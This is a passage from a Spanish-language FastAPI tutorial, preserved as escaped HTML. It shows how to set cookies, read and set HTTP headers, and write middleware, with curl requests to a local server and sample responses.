style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/setcookie/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;set_cookie&lt;/span&gt;(response: Response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;set_cookie(key&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myCookie&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        value&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myValue&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The delicious cookie has been set&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira la cabecera &lt;em&gt;set-cookie&lt;/em&gt; que aparece en nuestra respuesta. La presencia de esta cabecera HTTP o header indica que hemos recibido la instrucción de colocar nuestra cookie correctamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/setcookie/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 20:45:08 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;31&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set-cookie: &lt;span style=&#34;color:#ff5c57&#34;&gt;myCookie&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;myValue; &lt;span style=&#34;color:#ff5c57&#34;&gt;Path&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/; &lt;span style=&#34;color:#ff5c57&#34;&gt;SameSite&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;lax&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The delicious cookie has been set&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;                                                                                           &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;headers-o-cabeceras-http&#34;&gt;Headers o cabeceras HTTP&lt;/h2&gt;&#xA;&lt;h3 id=&#34;leer-headers-o-cabeceras-http&#34;&gt;Leer headers o cabeceras HTTP&lt;/h3&gt;&#xA;&lt;p&gt;Para leer cabeceras HTTP se hará de la misma manera que con las cookies. Por favor recuerda importar Header.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/headers/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;return_header&lt;/span&gt;(user_agent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Header(&lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;User-Agent&amp;#34;&lt;/span&gt;: user_agent}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, ahora tendremos una cabecera que nos devolverá el User-Agent actual, con el que estamos realizando la petición, el cual manda automáticamente curl con cada petición, por lo que deberiamos ser capaces de capturarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/headers/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 19:33:45 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;User-Agent&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;curl/7.52.1&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En este caso, como hicimos la petición con curl, nos retornará la cadena de texto &amp;ldquo;curl/nuestra_versión&amp;rdquo;. Si hicieramos la petición con un navegador web obtendriamos el valor de User-Agent para ese navegador.&lt;/p&gt;&#xA;&lt;h3 id=&#34;colocar-headers-o-cabeceras-http&#34;&gt;Colocar headers o cabeceras HTTP&lt;/h3&gt;&#xA;&lt;p&gt;Para colocar headers necesitamos acceder al objeto response, este objeto tiene una propiedad llamada headers al que podemos agregarle valores como si fuera un diccionario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/setheader/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;set_header&lt;/span&gt;(response: Response):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;headers[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;response_header&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_header&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;header set&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora hacemos una petición a la url que acabamos de crear. Esperamos que la respuesta contenga un header o cabecera HTTP llamada &lt;em&gt;response_header&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/setheader/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sat, &lt;span style=&#34;color:#ff9f43&#34;&gt;24&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 16:11:31 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;24&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;response_header: my_header&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-my_data: X-my_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;header set&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;middleware-en-fastapi&#34;&gt;Middleware en FastAPI&lt;/h2&gt;&#xA;&lt;p&gt;Sí, aunque FastAPI es bastante simple también incorpora la funcionalidad de usar middleware como parte de su ciclo de petición-respuesta.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-es-un-middleware&#34;&gt;¿Qué es un middleware&lt;/h3&gt;&#xA;&lt;p&gt;¿No sabes que es un middleware? De manera simplista, un middleware es una pieza de código que colocas antes de la petición, para &amp;ldquo;interceptarla&amp;rdquo; y hacer (o no) algo con ella. Un middleware funciona de manera similar a esas carreras de relevos donde la petición y la respuesta serían las estafetas que van pasándose de un middleware al otro, cada middleware puede modificar la petición o la respuesta o dejarla intacta para pasarla al siguiente middleware.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Middleware.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/Middleware.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema básico de un middleware&#34; width=&#34;600&#34; height=&#34;200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esquema super simplificado de un Middleware en el contexto de un servidor web&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para usar middleware basta con colocar un decorador @app.middleware(&amp;lsquo;http&amp;rsquo;) sobre una función. Esta función recibe el objeto de la petición web (request) y una función llamada call_next, que recibirá la petición web y retornará una respuesta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.middleware&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_something_to_response_headers&lt;/span&gt;(request, call_next):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; call_next(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora ya tenemos la respuesta que podemos modificar o procesar como querramos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;headers[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;X-my_data&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;x-my_data&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La respuesta a nuestra petición la obtenemos después de llamar a &lt;em&gt;call_next&lt;/em&gt; pasándole como parámetro el objeto &lt;em&gt;request&lt;/em&gt;, por lo que todas las modificaciones a la petición van antes de la llamada a &lt;em&gt;call_next&lt;/em&gt;, mientras que todas las modificaciones a la respuesta van despúes de &lt;em&gt;call_next&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.middleware&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;my_middleware&lt;/span&gt;(request, call_next):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# modificaciones a REQUEST&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; call_next(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# modificaciones a RESPONSE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora hagamos un curl a localhost:8000 para ver si funcionó. Mira como ahora tenemos un header o cabecera HTTP en la respuesta, y este corresponde a la información que le acabamos de colocar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000 -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 19:20:35 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;17&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-my_data: X-my_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mientras el middleware que creamos siga activo, cada nueva respuesta que obtengamos contendrá ese header y su respectivo valor.&lt;/p&gt;&#xA;&lt;h3 id=&#34;middleware-incluidos&#34;&gt;Middleware incluidos&lt;/h3&gt;&#xA;&lt;p&gt;FastAPI viene con una serie de middleware incluidos que podemos usar y agregar a la lista de middlewares por los que pasarán nuestras peticiones. Para agregar un middleware basta con usar el método &lt;em&gt;add_middleware()&lt;/em&gt;, de nuestra app.&lt;/p&gt;&#xA;&lt;p&gt;No es necesario que agregues el siguiente código. Es solo para que conozcas algunas de las opciones incluye fastAPI como parte de su código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi.middleware.gzip 